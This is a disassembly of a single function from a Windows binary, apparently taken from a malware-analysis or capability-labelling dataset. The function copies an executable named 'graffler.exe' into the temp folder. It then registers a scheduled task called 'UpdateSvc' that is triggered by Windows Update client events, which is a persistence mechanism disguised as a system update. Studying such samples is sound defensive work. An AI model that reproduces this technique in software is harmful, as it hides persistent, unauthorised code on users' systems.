Function at 0x140003c50
Capabilities:
Copy file
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rsi
push rbp
lea rbp, [rax - 0x108]
sub rsp, 0x200
vmovaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140025040]
xor rax, rsp
mov qword [rbp + 0xe0], rax
lea rdx, [rbp - 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, dword [0x140019588]
mov rcx, qword [0x140026ad8]
vmovdqu xmm1, xmmword [0x140019aa0]
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x50], eax
mov al, byte [0x140027f28]
mov byte [rsp + 0x20], al
mov byte [rsp + 0x54], 0
vmovsd xmm0, qword [str.graffler.exe]
vmovdqu xmmword [rsp + 0x58], xmm1
vmovsd qword [rsp + 0x48], xmm0
test rcx, rcx
je 0x140004248
mov rax, qword [rcx]
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x28]
call qword [rax + 0x10]
mov rcx, qword [0x140026958]
test rcx, rcx
je 0x14000424e
mov rax, qword [rcx]
lea r8, [rsp + 0x28]
lea rdx, [rbp - 0x58]
call qword [rax + 0x10]
mov r9, qword [rbp - 0x40]
lea r10, [rbp - 0x58]
mov r8, qword [rbp - 0x58]
lea rcx, [rbp - 0x30]
cmp r9, 0xf
cmova r10, r8
dec rcx
inc rcx
cmp byte [rcx], 0
jne 0x140003d29
xor edx, edx
mov al, byte [r10 + rdx]
mov byte [rcx + rdx], al
inc rdx
test al, al
jne 0x140003d33
mov esi, 0x1000
cmp r9, 0xf
jbe 0x140003d79
lea rdx, [r9 + 1]
mov rax, r8
cmp rdx, rsi
jb 0x140003d71
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004254
mov rcx, r8
call fcn.140007bbc
mov rdx, qword [rsp + 0x40]
mov byte [rbp - 0x58], 0
vmovdqu xmm6, xmmword [0x140019a60]
vmovdqu xmmword [rbp - 0x48], xmm6
cmp rdx, 0xf
jbe 0x140003dc3
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, rsi
jb 0x140003dbe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004254
call fcn.140007bbc
mov rdx, qword [rsp + 0x60]
mov byte [rsp + 0x28], 0
vmovdqu xmmword [rsp + 0x38], xmm6
cmp rdx, 0xf
jbe 0x140003e07
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, rsi
jb 0x140003e02
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004254
call fcn.140007bbc
mov eax, dword [0x140019588]
mov rcx, qword [0x140026ad8]
vmovdqu xmm1, xmmword [0x140019aa0]
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x28], xmm0
mov dword [rsp + 0x30], eax
mov al, byte [0x140027f28]
mov byte [rsp + 0x20], al
mov byte [rsp + 0x34], 0
vmovsd xmm0, qword [str.graffler.exe]
vmovdqu xmmword [rsp + 0x38], xmm1
vmovsd qword [rsp + 0x28], xmm0
test rcx, rcx
je 0x14000425a
mov rax, qword [rcx]
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x28]
lea rdx, [rsp + 0x68]
call qword [rax + 0x10]
mov rcx, qword [0x140026958]
test rcx, rcx
je 0x140004260
mov rax, qword [rcx]
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x48]
call qword [rax + 0x10]
cmp qword [rsp + 0x60], 0xf
lea rcx, [rsp + 0x48]
lea rdx, [rbp - 0x30]
cmova rcx, qword [rsp + 0x48]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140003ee2
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, rsi
jb 0x140003edd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004266
call fcn.140007bbc
mov rdx, qword [rbp - 0x80]
mov byte [rsp + 0x48], 0
vmovdqu xmmword [rsp + 0x58], xmm6
cmp rdx, 0xf
jbe 0x140003f25
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, rsi
jb 0x140003f20
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004266
call fcn.140007bbc
mov rdx, qword [rsp + 0x40]
mov byte [rsp + 0x68], 0
vmovdqu xmmword [rsp + 0x78], xmm6
cmp rdx, 0xf
jbe 0x140003f69
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, rsi
jb 0x140003f64
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004266
call fcn.140007bbc
vpxor xmm0, xmm0, xmm0
vpxor xmm1, xmm1, xmm1
mov r8d, 0x26
lea rdx, str.schtasks__create__tn__UpdateSvc___tr__
lea rcx, [rsp + 0x28]
vmovups xmmword [rsp + 0x28], xmm0
vmovdqu xmmword [rsp + 0x38], xmm1
call fcn.14000207c
mov rcx, qword [0x140026ad8]
mov al, byte [0x140027f28]
mov byte [rsp + 0x20], al
test rcx, rcx
je 0x14000426c
mov rax, qword [rcx]
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x28]
lea rdx, [rsp + 0x68]
call qword [rax + 0x10]
mov rcx, qword [0x140026b98]
test rcx, rcx
je 0x140004272
mov rax, qword [rcx]
lea r8, [rsp + 0x68]
lea rdx, [rbp - 0x78]
call qword [rax + 0x10]
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14000401a
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, rsi
jb 0x140004015
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004278
call fcn.140007bbc
mov rdx, qword [rsp + 0x40]
mov byte [rsp + 0x68], 0
vmovdqu xmmword [rsp + 0x78], xmm6
cmp rdx, 0xf
jbe 0x14000405e
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, rsi
jb 0x140004059
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004278
call fcn.140007bbc
lea rax, [rbp - 0x30]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140004066
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x78]
call fcn.1400074fc
vpxor xmm0, xmm0, xmm0
vpxor xmm1, xmm1, xmm1
mov r8d, 0x5f
lea rdx, str.___sc_onevent__ec_System__mo__System_Provider__NameMicrosoft_Windows_WindowsUpdateClient___
lea rcx, [rsp + 0x28]
vmovups xmmword [rsp + 0x28], xmm0
vmovdqu xmmword [rsp + 0x38], xmm1
call fcn.14000207c
mov rcx, qword [0x140026ad8]
mov al, byte [0x140027f28]
mov byte [rsp + 0x20], al
test rcx, rcx
je 0x14000427e
mov rax, qword [rcx]
lea r9, [rsp + 0x20]
lea r8, [rsp + 0x28]
lea rdx, [rsp + 0x68]
call qword [rax + 0x10]
mov rcx, qword [0x140026b98]
test rcx, rcx
je 0x140004284
mov rax, qword [rcx]
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x48]
call qword [rax + 0x10]
cmp qword [rsp + 0x60], 0xf
lea rdx, [rsp + 0x48]
mov r8, qword [rsp + 0x58]
lea rcx, [rbp - 0x78]
cmova rdx, qword [rsp + 0x48]
call fcn.1400074fc
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14000414f
mov rcx, qword [rsp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, rsi
jb 0x14000414a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000428a
call fcn.140007bbc
mov rdx, qword [rbp - 0x80]
mov byte [rsp + 0x48], 0
vmovdqu xmmword [rsp + 0x58], xmm6
cmp rdx, 0xf
jbe 0x140004192
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, rsi
jb 0x14000418d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000428a
call fcn.140007bbc
mov rdx, qword [rsp + 0x40]
mov byte [rsp + 0x68], 0
vmovdqu xmmword [rsp + 0x78], xmm6
cmp rdx, 0xf
jbe 0x1400041d6
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, rsi
jb 0x1400041d1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000428a
call fcn.140007bbc
cmp qword [rbp - 0x60], 0xf
lea rcx, [rbp - 0x78]
cmova rcx, qword [rbp - 0x78]
call fcn.14000bb24
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14000421c
mov rcx, qword [rbp - 0x78]
inc rdx
mov rax, rcx
cmp rdx, rsi
jb 0x140004217
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004242
call fcn.140007bbc
mov rcx, qword [rbp + 0xe0]
xor rcx, rsp
call fcn.140007e90
lea r11, [rsp + 0x200]
mov rsi, qword [r11 + 0x10]
vmovaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
call fcn.14000b77c
int3
call fcn.140007a20
int3
call fcn.140007a20
int3
call fcn.14000b77c
int3
call fcn.140007a20
int3
call fcn.140007a20
int3
call fcn.14000b77c
int3
call fcn.140007a20
int3
call fcn.140007a20
int3
call fcn.14000b77c
int3
call fcn.140007a20
int3
call fcn.140007a20
int3
call fcn.14000b77c
int3
add rcx, 8
jmp 0x140003c50